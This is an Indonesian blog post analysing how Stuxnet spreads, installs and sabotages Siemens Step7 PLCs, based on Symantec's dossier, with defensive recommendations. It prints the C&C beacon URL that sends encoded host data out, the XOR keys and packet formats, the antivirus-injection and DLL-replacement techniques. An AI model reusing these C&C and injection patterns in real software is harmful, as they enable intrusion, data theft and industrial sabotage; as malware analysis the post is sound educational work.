October 31, 2020

1035 words 5 mins read

Stuxnet Explained Part 2

Stuxnet Explained Part 2

Melanjutkan tulisan sebelumnya, saya lanjutkan dengan pembahasan instalasi sampai sabotase yang dilakukan oleh Stuxnet. Malware ini melakukan penyebaran (propagation) melalui beberapa cara yakni melalui jaringan (network propagation) dan penyimpan data portabel termasuk flash disk (removable drive propagation).

Penyebaran melalui jaringan dilakukan melalui:

  • Komunikasi dan update secara Peer-to-Peer (PC ke PC)
  • Infeksi WinCC machines via hardcoded database server password
  • Network Sharing
  • Print Spooler, yang telah diumumkan oleh Microsoft sebagai MS10-061 Zero-Day Vulnerability
  • Windows Server Service, yang telah diumumkan sebagai MS08-067 Vulnerability

Sedangkan pada removable disk, Stuxnet menciptakan file Autorun.inf yang palsu dan tersembunyi:

Lalu, Stuxnet menambahkan satu entry Open tambahan pada saat dilakukan klik kanan (sehingga terdapat dua menu Open  )

Selanjutnya akan dijelaskan bagaimana instalasi stuxnet terjadi. Berikut ini bagannya:

Pertama, stuxnet akan mengecek konfigurasi yang terkini. Lalu memeriksa prosesor komputer, bila menggunakan 32-bit, lanjutkan memeriksa sistem operasi, bila menggunakan Windows, lanjutkan periksa apakah memiliki akses sebagai Administrator, bila iya, periksa Anti Virus, pilih proses yang akan dipanggil berdasarkan antivirus yang ada, lalu mulai lakukan injeksi pada proses. Tapi bila tidak memiliki akses sebagai Admin, periksa lagi OS-nya, bila Win 2000 atau XP, lakukan eksploitasi pada MS10-073 Escalation of Privilege”) untuk mendapatkan akses Administrator, restart proses menggunakan csrss.exe. Bila Win Vista atau 7, buat sebuah task baru untuk menjalankan proses dalam Task Schedule yang akan dijalankan pada waktu yang telah dijadwalkan (MS10-92 Vulnerability in Task Scheduler Could Allow Elevation of Privilege - baru diumukan oleh Microsoft tanggal 14 Des 2010 :( ).

Yang menarik adalah, Stuxnet ini memanfaatkan proses Anti Virus untuk melakukan instalasi. Mengapa? Karena pada umumnya Anti Virus ditandai oleh Sistem Operasi dan juga pengguna sebagai trusted process (proses yang bisa dipercaya). Sehingga aktivitas dari antivirus akan selalu diijinkan. Oleh sebab itu, stuxnet menginjeksi proses yang dimiliki oleh AntiVirus. Berikut ini target injeksi berdasarkan Anti Virus yang diinstall:

Injection target disitu biasanya dapat kita lihat melalui Task Manager.

Setelah itu, proses yang telah diinjeksi akan melanjutkan instalasi dengan alur seperti di bawah ini:

Proses memeriksa apakah config Stuxnet benar, lalu mengecek nilai registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\MS-DOS Emulation

proses akan dilanjutkan bila registry tersebut tidak berisi string 19790509. Apakah itu suatu kebetulan jawabannya baca disini. Lalu dilanjutkan pemeriksaan tanggal pada PC, stuxnet akan berjalan sebelum tanggal 24 Juni 2012. Dilanjutkan dengan pembuatan file konfigurasi Oem7a.pnf, melakukan dekripsi pada rootkit file yang sebelumnya memang dienkripsi sehingga tidak terdeteksi oleh pengguna maupun anti virus, terus sampai pada injeksi pada proses Software Siemens Step7.

Adapun rootkit tersebut didapatkan dari Command and Control Server (C&C Server) yang merupakan pusat kontrol dan komando virus Stuxnet. Dua server yang diketahui adalah:

  • www[.]mypremierfutbol[.]com
  • www[.]todaysfutbol[.]com
yang sebelumnya diketahui berlokasi di Malaysia dan Denmark. Namun sekarang telah di-redirect untuk menghindari serangan. Detail prosesnya adalah sebagai berikut:![](http://karfianto.files.wordpress.com/2011/10/easycapture11.jpg "EasyCapture11")
1\. Stuxnet mencoba koneksi apakah bisa terhubung dengan internet. Caranya dengan melakukan:
GET http://www.windowsupdate.com atau
GET http://www.msn.com

2. Bila sukses, maka asumsinya komputer bisa terkoneksi ke internet. Lalu Stuxnet menyusun paket data berisi:

0x00 dword 1, fixed value
0x04 clsid unknown
0x14 byte[6] unknown
0x1A dword IP address of main interface
0x1E byte[size] payload

Dimana payload tersebut dienkripsi dengan operasi XOR menggunakan kunci 31-bit:

0x67, 0xA9, 0x6E, 0x28, 0x90, 0x0D, 0x58, 0xD6, 0xA4, 0x5D, 0xE2, 0x72, 0x66, 0xC0, 0x4A, 0x57, 
0x88, 0x5A, 0xB0, 0x5C, 0x6E, 0x45, 0x56, 0x1A, 0xBD, 0x7C, 0x71, 0x5E, 0x42, 0xE4, 0xC1

Hasilnya kemudian dikonversikan dalam format Hexadesimal misal:

2F653D24EA

3. Lalu stuxnet mengirimkan paket tersebut dengan HTTP GET method:

[http://]www.mypremierfutbol.com/index.php?data=2F653D24EA

Dengan cara inilah stuxnet mampu MELEWATI FIREWALL.

4. C&C Server mengirimkan response code,  yang merupakan data binary yang terdiri dari dua jenis, pertama yaitu instruksi EXECUTE RPC ROUTINE dan jenis yang kedua adalah data dalam format Binary yang terenkripsi dengan operasi XOR menggunakan 31-bit kunci.

0xF1, 0x17, 0xFA, 0x1C, 0xE2, 0x33, 0xC1, 0xD7, 0xBB, 0x77, 0x26, 0xC0, 0xE4, 0x96, 0x15, 0xC4, 
0x62, 0x2E, 0x2D, 0x18, 0x95, 0xF0, 0xD8, 0xAD, 0x4B, 0x23, 0xBA, 0xDC, 0x4F, 0xD7, 0x0C

Setelah didekripsi oleh Stuxnet, hasilnya adalah sebagai berikut:

0x00 dword payload module size (n)
0x04 byte command byte, can be 0 or 1
0x05 byte[n] payload module (Windows executable)

Jenis pertama merupakan instruksi untuk menjalankan suatu perintah atau kode yang sudah ada pada komputer korban, sedangkan tipe kedua inilah yang berfungsi sebagai _backdoor_ yang memungkinkan komputer korban mendownload dan menjalankan program tambahan atau mengirimkan update terbaru dari Stuxnet!.

Tanpa membahas secara detil, pada akhirnya Stuxnet menciptakan sebuah library untuk software Step7 yang palsu menggantikan library  yang asli. Gambar di bawah ini adalah proses asli komputer/PC yang terinstall Step7 menggunakan perantara s7otbxdx.dll untuk membaca dan menulis STL code block pada PLC.

Lalu Stuxnet mengganti nama (rename) dll tersebut menjadi s7otbxsx.dll (d diganti dengan s) lalu membuat file s7otbxdx.dll yang palsu.

Akibatnya, library palsu tersebut memberikan instruksi yang tidak dikehendaki pada PLC dan memberikan laporan palsu tentang isi STL block code pada PLC (bukan kondisi sebenarnya). Hasil akhirnya adalah pengubahan frekuensi dengan melakukan sabotase pada Frequency Converter Drives yang digunakan untuk mengontrol kecepatan perangkat lain seperti misalnya motor. Sebagai contoh bila frekuensi ditingkatkan maka kecepatan putaran motor juga meningkat. Frequency converter drives biasanya digunakan pada peralatan kontrol industri termasuk water systems, HVAC, gas pipelines, dan fasilitas lainnya.

Sebagai tambahan, terdapat juga sabotase pada instruksi OB35 (matikan sistem secara perlahan). Bila instruksi ini disabotase maka perintah mematikan sistem secara perlahan tidak bisa dilakukan, saat operator menyadari bahwa terdapat operasi yang tidak normal, mereka tidak bisa mematikan mesin secara aman. Yang menarik adalah OB35 yang telah disabotase menggunakan nilai penanda 0xDEADF007 (yang mungkin berarti Dead Fool atau Dead Foot – istilah yang dipakai saat terjadi kerusakan pada mesin pesawat terbang) untuk menandakan bahwa kondisi akhir telah tercapai (sungguh mengerikan).

Sebelum mengakhiri pembahasan ini, ada beberapa saran _best practice_ yang mungkin berguna:

  1. Sedapat mungkin menggunakan sistem operasi berbasis unix untuk infrastruktur yang vital dan menyangkut keselamatan.
  2. Tidak resiten untuk mencoba menggunakan sistem operasi dan aplikasi berbasis Non Windows.
  3. Jangan koneksikan infrastruktur vital tersebut dengan internet, cukup pada perangkat yang perlu terhubung.
  4. Hindari penggunaan media removable drive pada komputer yang terhubung dengan infrastruktur vital.
  5. Matikan fitur Autorun
  6. Update sistem operasi dengan patch yang terbaru.
  7. Tambahkan application firewall pada PC.
  8. Matikan service yang tidak atau kurang diperlukan.
  9. Terus ikuti perkembangan isu keamanan.
Demikian yang bisa saya sampaikan, mudah-mudahan bermanfaat. Salam.
> Referensi: > > Nicolas Falliere, Liam O Murchu, and Eric Chien _[W32.Stuxnet Dossier](http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf)_ version 1.4 (Februari 2011)
comments powered by Disqus